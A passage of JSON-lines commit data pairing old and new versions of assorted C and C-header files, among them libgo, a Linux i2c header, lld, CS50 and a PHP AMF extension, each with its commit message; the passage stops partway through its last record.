{"commit":"f1648ed565efa9b59bf14081474b48aef1c0cea6","old_file":"libgo\/runtime\/getncpu-linux.c","new_file":"libgo\/runtime\/getncpu-linux.c","old_contents":"\/\/ Copyright 2012 The Go Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style\n\/\/ license that can be found in the LICENSE file.\n\n#include <features.h>\n#include <sched.h>\n\n\/\/ CPU_COUNT is only provided by glibc 2.6 or higher\n#if !defined(__GLIBC_PREREQ) || !__GLIBC_PREREQ(2, 6)\n#define CPU_COUNT(set) _CPU_COUNT((unsigned int *)(set), sizeof(*(set))\/sizeof(unsigned int))\nstatic int _CPU_COUNT(unsigned int *set, size_t len) {\n\tint cnt;\n\n\tcnt = 0;\n\twhile (len--)\n\t\tcnt += __builtin_popcount(*set++);\n\treturn cnt;\n}\n#endif\n\n#include \"runtime.h\"\n#include \"defs.h\"\n\nint32\ngetproccount(void)\n{\n\tcpu_set_t set;\n\tint32 r, cnt;\n\n\tcnt = 0;\n\tr = sched_getaffinity(0, sizeof(set), &set);\n\tif(r == 0)\n\t\tcnt += CPU_COUNT(&set);\n\n\treturn cnt ? cnt : 1;\n}\n","new_contents":"\/\/ Copyright 2012 The Go Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style\n\/\/ license that can be found in the LICENSE file.\n\n#include <features.h>\n#include <sched.h>\n\n\/\/ CPU_COUNT is only provided by glibc 2.6 or higher\n#ifndef CPU_COUNT\n#define CPU_COUNT(set) _CPU_COUNT((unsigned int *)(set), sizeof(*(set))\/sizeof(unsigned int))\nstatic int _CPU_COUNT(unsigned int *set, size_t len) {\n\tint cnt;\n\n\tcnt = 0;\n\twhile (len--)\n\t\tcnt += __builtin_popcount(*set++);\n\treturn cnt;\n}\n#endif\n\n#include \"runtime.h\"\n#include \"defs.h\"\n\nint32\ngetproccount(void)\n{\n\tcpu_set_t set;\n\tint32 r, cnt;\n\n\tcnt = 0;\n\tr = sched_getaffinity(0, sizeof(set), &set);\n\tif(r == 0)\n\t\tcnt += CPU_COUNT(&set);\n\n\treturn cnt ? cnt : 1;\n}\n","subject":"Check for CPU_COUNT itself, don't check glibc version.","message":"runtime: Check for CPU_COUNT itself, don't check glibc version.\n\nFixes #38.\n\nR=iant\nCC=gofrontend-dev\nhttps:\/\/golang.org\/cl\/155740043\n","lang":"C","license":"bsd-3-clause","repos":"qskycolor\/gofrontend,qskycolor\/gofrontend,anlhord\/gofrontend,golang\/gofrontend,qskycolor\/gofrontend,anlhord\/gofrontend,anlhord\/gofrontend,anlhord\/gofrontend,anlhord\/gofrontend,golang\/gofrontend,qskycolor\/gofrontend,qskycolor\/gofrontend,golang\/gofrontend,anlhord\/gofrontend,qskycolor\/gofrontend,anlhord\/gofrontend,golang\/gofrontend,qskycolor\/gofrontend"}
{"commit":"3f995f317f7070e81e8e38bb11357d6671ab6969","old_file":"include\/linux\/i2c-xiic.h","new_file":"include\/linux\/i2c-xiic.h","old_contents":"","new_contents":"\/*\n * i2c-xiic.h\n * Copyright (c) 2009 Intel Corporation\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n *\/\n\n\/* Supports:\n * Xilinx IIC\n *\/\n\n#ifndef _LINUX_I2C_XIIC_H\n#define _LINUX_I2C_XIIC_H\n\n\/**\n * struct xiic_i2c_platform_data - Platform data of the Xilinx I2C driver\n * @num_devices:\tNumber of devices that shall be added when the driver\n *\t\t\tis probed.\n * @devices:\t\tThe actuall devices to add.\n *\n * This purpose of this platform data struct is to be able to provide a number\n * of devices that should be added to the I2C bus. The reason is that sometimes\n * the I2C board info is not enough, a new PCI board can for instance be\n * plugged into a standard PC, and the bus number might be unknown at\n * early init time.\n *\/\nstruct xiic_i2c_platform_data {\n\tu8\t\t\t\tnum_devices;\n\tstruct i2c_board_info const\t*devices;\n};\n\n#endif \/* _LINUX_I2C_XIIC_H *\/\n","subject":"Add the platform data include for the Xilinx XPS IIC Bus Interface","message":"Add the platform data include for the Xilinx XPS IIC Bus Interface\n\nThis file was missed in the original patch that went into Linus' tree.\n\nCc: \"Ben Dooks (embedded platforms)\" <1177f64998f284a7348354b8e91cbbe575d9858a@fluff.org>\nCc: a2bf4ba1a5b5bdfcae71455fa003391c08eec12f@vger.kernel.org\nSigned-off-by: Richard Röjfors <ad7b115107a2fdcbfd7e2de42d425dd04755e505@pelagicore.com>\nSigned-off-by: Stephen Rothwell <4bf0fb350827ce8d86875e76c923a478597c3cef@canb.auug.org.au>\nSigned-off-by: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@linux-foundation.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"b1fa4918bb74415352dc9ff60fd995c47b551c69","old_file":"MS3\/Sketches\/CPU_Gridders\/scatter_gridder.h","new_file":"MS3\/Sketches\/CPU_Gridders\/scatter_gridder.h","old_contents":"#if defined __AVX__\n#include <immintrin.h>\n#endif\n\n#ifdef __CUDACC__\n  #include <cuComplex.h>\n  typedef cuDoubleComplex complexd;\n#elif defined __cplusplus\n  #include <complex>\n  typedef std::complex<double> complexd;\n#else\n  #include <complex.h>\n  typedef double complex complexd;\n#endif\n\nstruct Double4c\n{\n  complexd XX;\n  complexd XY;\n  complexd YX;\n  complexd YY;\n};\n\nstruct Double3\n{\n  double u;\n  double v;\n  double w;\n};\n\n\/\/ We have original u,v,w, in meters.\n\/\/ To go to u,v,w in wavelengths we shall multiply them with freq\/SPEED_OF_LIGHT\n\n#ifndef SPEED_OF_LIGHT\n#define SPEED_OF_LIGHT 299792458.0\n#endif\n\n#ifndef WSTEP_CORRECT\n#define WSTEP_CORRECT 0.00001\n#endif\n\nstruct TaskCfg {\n  double\n      min_wave_length\n    , max_inverse_wave_length\n    , cellsize\n    , cellsizeWL\n    , scale\n    , scaleWL\n    , w_step\n    , w_stepWL\n    , w_shift\n    , w_shiftWL\n    ;\n};\n","new_contents":"#ifndef __SCATTER_GRIDDER_H\n#define __SCATTER_GRIDDER_H\n\n#if defined __AVX__\n#include <immintrin.h>\n#endif\n\n#ifdef __CUDACC__\n  #include <cuComplex.h>\n  typedef cuDoubleComplex complexd;\n#elif defined __cplusplus\n  #include <complex>\n  typedef std::complex<double> complexd;\n#else\n  #include <complex.h>\n  typedef double complex complexd;\n#endif\n\nstruct Double4c\n{\n  complexd XX;\n  complexd XY;\n  complexd YX;\n  complexd YY;\n};\n\nstruct Double3\n{\n  double u;\n  double v;\n  double w;\n};\n\n\/\/ We have original u,v,w, in meters.\n\/\/ To go to u,v,w in wavelengths we shall multiply them with freq\/SPEED_OF_LIGHT\n\n#ifndef SPEED_OF_LIGHT\n#define SPEED_OF_LIGHT 299792458.0\n#endif\n\n#ifndef WSTEP_CORRECT\n#define WSTEP_CORRECT 0.00001\n#endif\n\nstruct TaskCfg {\n  double\n      min_wave_length\n    , max_inverse_wave_length\n    , cellsize\n    , cellsizeWL\n    , scale\n    , scaleWL\n    , w_step\n    , w_stepWL\n    , w_shift\n    , w_shiftWL\n    ;\n};\n\n#ifdef __CUDACC__\n__device__ __inline__ static \n#else\n__inline static\n#endif\n  int get_supp(int w) {\n    if (w < 0) w = -w;\n    return w * 8 + 1;\n  }\n\n#endif\n","subject":"Add simplest as possible support size func.","message":"Add simplest as possible support size func.\n","lang":"C","license":"apache-2.0","repos":"SKA-ScienceDataProcessor\/RC,SKA-ScienceDataProcessor\/RC,SKA-ScienceDataProcessor\/RC,SKA-ScienceDataProcessor\/RC,SKA-ScienceDataProcessor\/RC"}
{"commit":"a236747cee13f512f5f1708b41306533b67ebddb","old_file":"PSET2\/caesar.c","new_file":"PSET2\/caesar.c","old_contents":"#include <stdio.h>\n#include <cs50.h>\n\nint main(void) {\n\n    return 0;\n}","new_contents":"#include <stdio.h>\n#include <cs50.h>\n\nint main(int argc, char *argv[]) {\n\n    \/\/ check entered key\n    if (argc != 2 || atoi(argv[1]) < 0) {\n        printf(\"Usage: .\/caesar k\\nWhere k is a non negative integer.\\n\");\n        return 1;\n    }\n\n    int key = atoi(argv[1]);\n\n\n\n    return 0;\n}\n","subject":"Add key check and convert key to int","message":"Add key check and convert key to int\n","lang":"C","license":"unlicense","repos":"Implaier\/CS50,Implaier\/CS50,Implaier\/CS50,Implaier\/CS50"}
{"commit":"48fa78cf488b227b33355362ee1d7110936a6671","old_file":"compiler\/modules\/CommonMark\/src\/config.h","new_file":"compiler\/modules\/CommonMark\/src\/config.h","old_contents":"#include \"charmony.h\"\n\n#ifdef CHY_HAS_STDBOOL_H\n# include <stdbool.h>\n#elif !defined(__cplusplus)\ntypedef char bool;\n# define true 1\n# define false 0\n#endif\n\n#define CMARK_ATTRIBUTE(list)\n\n#ifndef CHY_HAS_VA_COPY\n  #define va_copy(dest, src) ((dest) = (src))\n#endif\n","new_contents":"#include \"charmony.h\"\n\n#ifdef CHY_HAS_STDBOOL_H\n# include <stdbool.h>\n#elif !defined(__cplusplus)\ntypedef char bool;\n# define true 1\n# define false 0\n#endif\n\n#define CMARK_ATTRIBUTE(list)\n\n#ifndef CHY_HAS_VA_COPY\n  #define va_copy(dest, src) ((dest) = (src))\n#endif\n\n#define inline CHY_INLINE\n","subject":"Use CHY_INLINE in CommonMark source","message":"Use CHY_INLINE in CommonMark source\n","lang":"C","license":"apache-2.0","repos":"rectang\/lucy-clownfish,nwellnhof\/lucy-clownfish,rectang\/lucy-clownfish,rectang\/lucy-clownfish,apache\/lucy-clownfish,apache\/lucy-clownfish,apache\/lucy-clownfish,rectang\/lucy-clownfish,rectang\/lucy-clownfish,nwellnhof\/lucy-clownfish,apache\/lucy-clownfish,nwellnhof\/lucy-clownfish,nwellnhof\/lucy-clownfish,rectang\/lucy-clownfish,rectang\/lucy-clownfish,nwellnhof\/lucy-clownfish,apache\/lucy-clownfish,rectang\/lucy-clownfish,apache\/lucy-clownfish,apache\/lucy-clownfish,nwellnhof\/lucy-clownfish,nwellnhof\/lucy-clownfish,rectang\/lucy-clownfish,apache\/lucy-clownfish,nwellnhof\/lucy-clownfish"}
{"commit":"cd17e3146d7c64acb8c2fe8cb0b028244d24d656","old_file":"include\/sauce\/sauce.h","new_file":"include\/sauce\/sauce.h","old_contents":"#ifndef SAUCE_SAUCE_H_\n#define SAUCE_SAUCE_H_\n\n#include <sauce\/internal\/bindings.h>\n#include <sauce\/internal\/new_delete.h>\n\nnamespace sauce {\n\n  template<typename Module, typename NewDelete = ::sauce::internal::NewDelete>\n  struct Injector {\n\n    friend class SauceTest;\n\n    Injector():\n      newDelete() {}\n\n    template<typename Iface>\n    Iface provide() {\n      return provide<Iface>(Module::template bindings<Injector<Module> >);\n    }\n\n    template<typename Iface>\n    void dispose(Iface iface) {\n      dispose<Iface>(Module::template bindings<Injector<Module> >, iface);\n    }\n\n  private:\n\n    const NewDelete newDelete;\n\n    template<typename Iface, typename Binding>\n    Iface provide(Binding *binding (Iface)) {\n      return Binding::provide(*this);\n    }\n\n    template<typename Iface, typename Binding>\n    void dispose(Binding *binding (Iface), Iface iface) {\n      Binding::dispose(*this, iface);\n    }\n\n  };\n\n} \/\/ namespace sauce\n\n#endif\n","new_contents":"#ifndef SAUCE_SAUCE_H_\n#define SAUCE_SAUCE_H_\n\n#include <sauce\/internal\/bindings.h>\n#include <sauce\/internal\/new_delete.h>\n\nnamespace sauce {\n\n  template<typename Module, typename NewDelete = ::sauce::internal::NewDelete>\n  struct Injector {\n\n    friend class SauceTest;\n\n    Injector():\n      new_delete() {}\n\n    template<typename Iface>\n    Iface provide() {\n      return provide<Iface>(Module::template bindings<Injector<Module> >);\n    }\n\n    template<typename Iface>\n    void dispose(Iface iface) {\n      dispose<Iface>(Module::template bindings<Injector<Module> >, iface);\n    }\n\n  private:\n\n    const NewDelete new_delete;\n\n    template<typename Iface, typename Binding>\n    Iface provide(Binding *binding (Iface)) {\n      return Binding::provide(*this);\n    }\n\n    template<typename Iface, typename Binding>\n    void dispose(Binding *binding (Iface), Iface iface) {\n      Binding::dispose(*this, iface);\n    }\n\n  };\n\n} \/\/ namespace sauce\n\n#endif\n","subject":"Rename member newDelete -> new_delete.","message":"Rename member newDelete -> new_delete.\n","lang":"C","license":"mit","repos":"phs\/sauce,phs\/sauce,phs\/sauce,phs\/sauce"}
{"commit":"5619bd4fa06e68e1491986b4f57dea11b5a85bac","old_file":"c\/boards\/arduino_uno\/riot_arduino_uno.h","new_file":"c\/boards\/arduino_uno\/riot_arduino_uno.h","old_contents":"","new_contents":"\/**\n  Arduino\/Genuino UNO\n  PIN Configuration\n  D0-D13 - 14 digital IN\/OUT pins\n  A0-A5 - 6 analog IN, digital OUT pins\n  LED - D13 is also the on board LED\n*\/\n\n\/**\n  The outputs to the board. The outputs are written internally.\n*\/\n\n#include \"stream_of_byte.h\"\n\nstruct riot_arduino_uno_sinks_t {\n  stream_of_byte *D0;\n  stream_of_byte *D1;\n  stream_of_byte *D2;\n  stream_of_byte *D3;\n  stream_of_byte *D4;\n  stream_of_byte *D5;\n  stream_of_byte *D6;\n  stream_of_byte *D7;\n  stream_of_byte *D8;\n  stream_of_byte *D9;\n  stream_of_byte *D10;\n  stream_of_byte *D11;\n  stream_of_byte *D12;\n  stream_of_byte *D13;\n  stream_of_byte *A0;\n  stream_of_byte *A1;\n  stream_of_byte *A2;\n  stream_of_byte *A3;\n  stream_of_byte *A4;\n  stream_of_byte *A5;\n  stream_of_byte *LED;\n};\n\ntypedef struct riot_arduino_uno_sinks_t riot_arduino_uno_sinks;\n\n\n","subject":"Add arduino uno board configuration","message":"Add arduino uno board configuration\n","lang":"C","license":"mit","repos":"artfuldev\/RIoT"}
{"commit":"2ace1bcd24aef90cc74a2d009eabc2afc6ff191f","old_file":"test\/number.c","new_file":"test\/number.c","old_contents":"\/\/ Copyright 2012 Rui Ueyama <rui314@gmail.com>\n\/\/ This program is free software licensed under the MIT license.\n\n#include \"test.h\"\n\nvoid testmain(void) {\n    print(\"numeric constants\");\n\n    expect(1, 0x1);\n    expect(17, 0x11);\n    expect(511, 0777);\n    expect(11, 0b1011);  \/\/ GNU extension\n    expect(11, 0B1011);  \/\/ GNU extension\n\n    expect(3, 3L);\n    expect(3, 3LL);\n    expect(3, 3UL);\n    expect(3, 3LU);\n    expect(3, 3ULL);\n    expect(3, 3LU);\n    expect(3, 3LLU);\n\n    expectd(55.3, 55.3);\n    expectd(200, 2e2);\n    expectd(0x0.DE488631p8, 0xDE.488631);\n\n    expect(4, sizeof(5));\n    expect(8, sizeof(5L));\n    expect(4, sizeof(3.0f));\n    expect(8, sizeof(3.0));\n    expect(4, sizeof(0xe0));\n}\n","new_contents":"\/\/ Copyright 2012 Rui Ueyama <rui314@gmail.com>\n\/\/ This program is free software licensed under the MIT license.\n\n#include \"test.h\"\n\nvoid testmain(void) {\n    print(\"numeric constants\");\n\n    expect(1, 0x1);\n    expect(1, 0X1);\n    expect(17, 0x11);\n    expect(17, 0X11);\n    expect(511, 0777);\n    expect(11, 0b1011);  \/\/ GNU extension\n    expect(11, 0B1011);  \/\/ GNU extension\n\n    expect(3, 3L);\n    expect(3, 3LL);\n    expect(3, 3UL);\n    expect(3, 3LU);\n    expect(3, 3ULL);\n    expect(3, 3LU);\n    expect(3, 3LLU);\n\n    expectd(55.3, 55.3);\n    expectd(200, 2e2);\n    expectd(0x0.DE488631p8, 0xDE.488631);\n\n    expect(4, sizeof(5));\n    expect(8, sizeof(5L));\n    expect(4, sizeof(3.0f));\n    expect(8, sizeof(3.0));\n    expect(4, sizeof(0xe0));\n}\n","subject":"Add tests for 0X prefix.","message":"Add tests for 0X prefix.\n","lang":"C","license":"mit","repos":"jtramm\/8cc,cpjreynolds\/8cc,jtramm\/8cc,8l\/8cc,rui314\/8cc,andrewchambers\/8cc,rui314\/8cc,nobody1986\/8cc,jtramm\/8cc,andrewchambers\/8cc,vastin\/8cc,gergo-\/8cc,cpjreynolds\/8cc,cpjreynolds\/8cc,nobody1986\/8cc,abc00\/8cc,nobody1986\/8cc,vastin\/8cc,rui314\/8cc,8l\/8cc,vastin\/8cc,abc00\/8cc,andrewchambers\/8cc,8l\/8cc,gergo-\/8cc,abc00\/8cc,rui314\/8cc,abc00\/8cc,andrewchambers\/8cc,nobody1986\/8cc,8l\/8cc,cpjreynolds\/8cc,jtramm\/8cc,vastin\/8cc,gergo-\/8cc"}
{"commit":"8fe518a50830119365916f194dae8d458064ff70","old_file":"ext\/cowboy\/cowboy.c","new_file":"ext\/cowboy\/cowboy.c","old_contents":"#include \"cowboy.h\"\n\nVALUE mCowboy;\n\nVALUE fft_1d(VALUE m, VALUE nums){\n  fftw_complex *in, *out;\n  fftw_plan fp;\n  long n;\n\n  Check_Type(nums, T_ARRAY);\n\n  n = size_of_ary(nums);\n  in = allocate_fftw_complex(n);\n  out = allocate_fftw_complex(n);\n  fp = fftw_plan_dft_1d(n, in, out, FFTW_FORWARD, FFTW_ESTIMATE);\n\n  cast_nums_to_complex(in, nums);\n\n  fftw_execute(fp);\n\n  return complex_to_real_nums(out, n);\n}\n\nvoid Init_cowboy(){\n  mCowboy = rb_define_module(\"Cowboy\");\n\n  Init_cowboy_complex();\n\n  rb_define_module_function(mCowboy, \"fft_1d\", fft_1d, 1);\n}\n","new_contents":"#include \"cowboy.h\"\n\nVALUE mCowboy;\n\nVALUE fft_1d(VALUE m, VALUE nums){\n  fftw_complex *in, *out;\n  fftw_plan fp;\n  long n;\n\n  Check_Type(nums, T_ARRAY);\n\n  n = size_of_ary(nums);\n  if (n == 0){\n    rb_raise(rb_eException, \"Can't use blank array\");\n  }\n  in = allocate_fftw_complex(n);\n  out = allocate_fftw_complex(n);\n  fp = fftw_plan_dft_1d(n, in, out, FFTW_FORWARD, FFTW_ESTIMATE);\n\n  cast_nums_to_complex(in, nums);\n\n  fftw_execute(fp);\n  free(in);\n\n  return complex_to_real_nums(out, n);\n}\n\nvoid Init_cowboy(){\n  mCowboy = rb_define_module(\"Cowboy\");\n\n  Init_cowboy_complex();\n\n  rb_define_module_function(mCowboy, \"fft_1d\", fft_1d, 1);\n}\n","subject":"Handle call with empty array gracefully. (Compare to segfault earlier).","message":"Handle call with empty array gracefully. (Compare to segfault earlier).\n","lang":"C","license":"mit","repos":"ciniglio\/cowboy,ciniglio\/cowboy"}
{"commit":"e79f9d35c3fb014b4506d6b794abaac3fcd88182","old_file":"wasm\/Config.h","new_file":"wasm\/Config.h","old_contents":"\/\/===- Config.h -------------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLD_WASM_CONFIG_H\n#define LLD_WASM_CONFIG_H\n\n#include \"llvm\/ADT\/StringRef.h\"\n#include \"llvm\/BinaryFormat\/Wasm.h\"\n\n#include \"Symbols.h\"\n\nusing llvm::wasm::WasmGlobal;\n\n#include <set>\n\nnamespace lld {\nnamespace wasm {\n\nstruct Configuration {\n  bool AllowUndefined;\n  bool Demangle;\n  bool EmitRelocs;\n  bool ImportMemory;\n  bool Relocatable;\n  bool StripAll;\n  bool StripDebug;\n  uint32_t GlobalBase;\n  uint32_t InitialMemory;\n  uint32_t MaxMemory;\n  uint32_t ZStackSize;\n  llvm::StringRef Entry;\n  llvm::StringRef OutputFile;\n  llvm::StringRef Sysroot;\n\n  std::set<llvm::StringRef> AllowUndefinedSymbols;\n  std::vector<llvm::StringRef> SearchPaths;\n  std::vector<std::pair<Symbol *, WasmGlobal>> SyntheticGlobals;\n};\n\n\/\/ The only instance of Configuration struct.\nextern Configuration *Config;\n\n} \/\/ namespace wasm\n} \/\/ namespace lld\n\n#endif\n","new_contents":"\/\/===- Config.h -------------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLD_WASM_CONFIG_H\n#define LLD_WASM_CONFIG_H\n\n#include \"llvm\/ADT\/StringRef.h\"\n#include \"llvm\/ADT\/StringSet.h\"\n#include \"llvm\/BinaryFormat\/Wasm.h\"\n\n#include \"Symbols.h\"\n\nusing llvm::wasm::WasmGlobal;\n\nnamespace lld {\nnamespace wasm {\n\nstruct Configuration {\n  bool AllowUndefined;\n  bool Demangle;\n  bool EmitRelocs;\n  bool ImportMemory;\n  bool Relocatable;\n  bool StripAll;\n  bool StripDebug;\n  uint32_t GlobalBase;\n  uint32_t InitialMemory;\n  uint32_t MaxMemory;\n  uint32_t ZStackSize;\n  llvm::StringRef Entry;\n  llvm::StringRef OutputFile;\n  llvm::StringRef Sysroot;\n\n  llvm::StringSet<> AllowUndefinedSymbols;\n  std::vector<llvm::StringRef> SearchPaths;\n  std::vector<std::pair<Symbol *, WasmGlobal>> SyntheticGlobals;\n};\n\n\/\/ The only instance of Configuration struct.\nextern Configuration *Config;\n\n} \/\/ namespace wasm\n} \/\/ namespace lld\n\n#endif\n","subject":"Use llvm::StringSet instead of std::set.","message":"Use llvm::StringSet instead of std::set.\n\nstd::set is pretty slow. We generally prefer llvm::StringSet if we don't\nneed an sorted set.\n\nDifferential Revision: https:\/\/reviews.llvm.org\/D40579\n\ngit-svn-id: f6089bf0e6284f307027cef4f64114ee9ebb0424@319371 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/lld,llvm-mirror\/lld"}
{"commit":"9287eb6b842055a59b3b4bb21d8423dff057486d","old_file":"generator.h","new_file":"generator.h","old_contents":"\/\/\n\/\/  generator.h\n\/\/  SequentialSA\n\/\/\n\/\/  Created by Vincent Ramdhanie on 3\/15\/15.\n\/\/  Copyright (c) 2015 Vincent Ramdhanie. All rights reserved.\n\/\/\n\n#ifndef __SequentialSA__generator__\n#define __SequentialSA__generator__\n\n#include <time.h>\n#include <stdlib.h>\n#include <stdio.h>\n\n#endif \/* defined(__SequentialSA__generator__) *\/\n\n#define PLOT_N 5   \/*The size of the plot array*\/\n#define PLOT_M 5\n#define TEMPERATURE 1000 \/*Initial temperature*\/\n#define NUMBER_ITERATIONS 1000 \/*Total number of iterations to execute*\/\n\n\/*\n  Performs the generation on the data and stores it in a file\n *\/\nvoid generate(int a[][PLOT_M]);\nvoid print(int a[][PLOT_M]);\n\n","new_contents":"\/\/\n\/\/  generator.h\n\/\/  SequentialSA\n\/\/\n\/\/  Created by Vincent Ramdhanie on 3\/15\/15.\n\/\/  Copyright (c) 2015 Vincent Ramdhanie. All rights reserved.\n\/\/\n\n#ifndef __SequentialSA__generator__\n#define __SequentialSA__generator__\n\n#include <time.h>\n#include <stdlib.h>\n#include <stdio.h>\n\n#endif \/* defined(__SequentialSA__generator__) *\/\n\n#define PLOT_N 5   \/*The size of the plot array*\/\n#define PLOT_M 5\n#define TEMPERATURE 1000 \/*Initial temperature*\/\n#define NUMBER_ITERATIONS 1000 \/*Total number of iterations to execute*\/\n\n\/*\n  Performs the generation on the data and stores it in a file\n *\/\nvoid generate(int a[PLOT_N][PLOT_M]);\nvoid print(int a[PLOT_N][PLOT_M]);\n","subject":"Create header file with constants and function definitions","message":"Create header file with constants and function definitions\n","lang":"C","license":"mit","repos":"vramdhanie\/sequentialsa,vramdhanie\/sequentialsa"}
{"commit":"ed8efcea8af00e372992991903b316535ac9f095","old_file":"TDTChocolate\/TestingAdditions\/TDTRandomFixtures.h","new_file":"TDTChocolate\/TestingAdditions\/TDTRandomFixtures.h","old_contents":"#import <Foundation\/Foundation.h>\n\n\/**\n Category methods on commonly used types for generating random instances.\n\n Inspired by Haskell's QuickCheck.\n *\/\n\n@interface NSString (TDTRandomFixtures)\n\n+ (instancetype)randomString;\n\n@end\n\n@interface NSNumber (TDTRandomFixtures)\n\n+ (instancetype)randomNumber;\n\n@end\n\n@interface NSArray (TDTRandomFixtures)\n\n+ (instancetype)randomArrayOfLength:(NSUInteger)length;\n\n@end\n\n@interface NSURL (TDTRandomFixtures)\n\n+ (instancetype)randomURL;\n\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n\n\/**\n Category methods on commonly used types for generating random instances.\n\n Inspired by Haskell's QuickCheck.\n *\/\n\n@interface NSString (TDTRandomFixtures)\n\n\/**\n @return A string consisting of random characters.\n         It is guranteed to be non empty.\n *\/\n+ (instancetype)randomString;\n\n@end\n\n@interface NSNumber (TDTRandomFixtures)\n\n+ (instancetype)randomNumber;\n\n@end\n\n@interface NSArray (TDTRandomFixtures)\n\n+ (instancetype)randomArrayOfLength:(NSUInteger)length;\n\n@end\n\n@interface NSURL (TDTRandomFixtures)\n\n+ (instancetype)randomURL;\n\n@end\n","subject":"Document that `randomString` will never return an empty string","message":"Document that `randomString` will never return an empty string\n","lang":"C","license":"bsd-3-clause","repos":"talk-to\/Chocolate,talk-to\/Chocolate"}
{"commit":"4593c769f1e6bf7b3a243bb1f74e00332bbdf6fc","old_file":"ext\/wikitext.h","new_file":"ext\/wikitext.h","old_contents":"\/\/ Copyright 2008 Wincent Colaiuta\n\/\/ This program is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include <ruby\/ruby.h>\n#include <stdint.h>\n\n\/\/ Wikitext\nextern VALUE mWikitext;\n\n\/\/ Wikitext::Parser\nextern VALUE cWikitextParser;\n\n\/\/ Wikitext::Parser::Error\n\/\/ error raised when scanning fails\nextern VALUE eWikitextParserError;\n\n\/\/ Wikitext::Parser::Token\nextern VALUE cWikitextParserToken;\n","new_contents":"\/\/ Copyright 2008 Wincent Colaiuta\n\/\/ This program is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include <ruby\/ruby.h>\n#include <stdint.h>\n\n#define ruby_inspect(obj) rb_funcall(rb_mKernel, rb_intern(\"p\"), 1, obj)\n\n\/\/ Wikitext\nextern VALUE mWikitext;\n\n\/\/ Wikitext::Parser\nextern VALUE cWikitextParser;\n\n\/\/ Wikitext::Parser::Error\n\/\/ error raised when scanning fails\nextern VALUE eWikitextParserError;\n\n\/\/ Wikitext::Parser::Token\nextern VALUE cWikitextParserToken;\n","subject":"Add ruby_inspect macro for use when debugging","message":"Add ruby_inspect macro for use when debugging\n\nJust calls Kernel#p passing in the specified Ruby object.\n\nSigned-off-by: Wincent Colaiuta <c76ac2e9cd86441713c7dfae92c451f3e6d17fdc@wincent.com>\n","lang":"C","license":"bsd-2-clause","repos":"barnaclebarnes\/wikitext,barnaclebarnes\/wikitext,barnaclebarnes\/wikitext,wincent\/wikitext,wincent\/wikitext,geni\/wikitext,geni\/wikitext,geni\/wikitext"}
{"commit":"c7cbb920c0e1bd747de7728454d96ba83586b502","old_file":"php_amf.h","new_file":"php_amf.h","old_contents":"#ifndef PHP_AMF_H\r\n#define PHP_AMF_H 1\r\n\r\n#define PHP_AMF_VERSION \"0.1\"\r\n#define PHP_AMF_WORLD_EXTNAME \"amf\"\r\n\r\nPHP_FUNCTION(amf_encode);\r\nPHP_FUNCTION(amf_decode);\r\n\r\nextern zend_module_entry amf_module_entry;\r\n#define phpext_amf_ptr &amf_module_entry\r\n\r\n#endif\r\n","new_contents":"\/**\r\n * PHP7 extension for Action Message Format (AMF) encoding and decoding with support for AMF0 and AMF3\r\n * \r\n * amfext (http:\/\/emilmalinov.com\/amfext)\r\n *\r\n * @copyright Copyright (c) 2015 Emil Malinov\r\n * @license   http:\/\/www.apache.org\/licenses\/LICENSE-2.0 Apache License 2.0\r\n * @link      http:\/\/github.com\/emilkm\/amfext\r\n * @package   amfext\r\n * \r\n * @author    Emanuele Ruffaldi emanuele.ruffaldi@gmail.com - original version for PHP 5.2\r\n * @author    Emil Malinov - PHP 7.X, PHP 5.X maintenance, unit tests, enhancements, bug fixes                                \r\n *\/\r\n\r\n#ifndef PHP_AMF_H\r\n#define PHP_AMF_H 1\r\n\r\n#define PHP_AMF_VERSION \"0.1\"\r\n#define 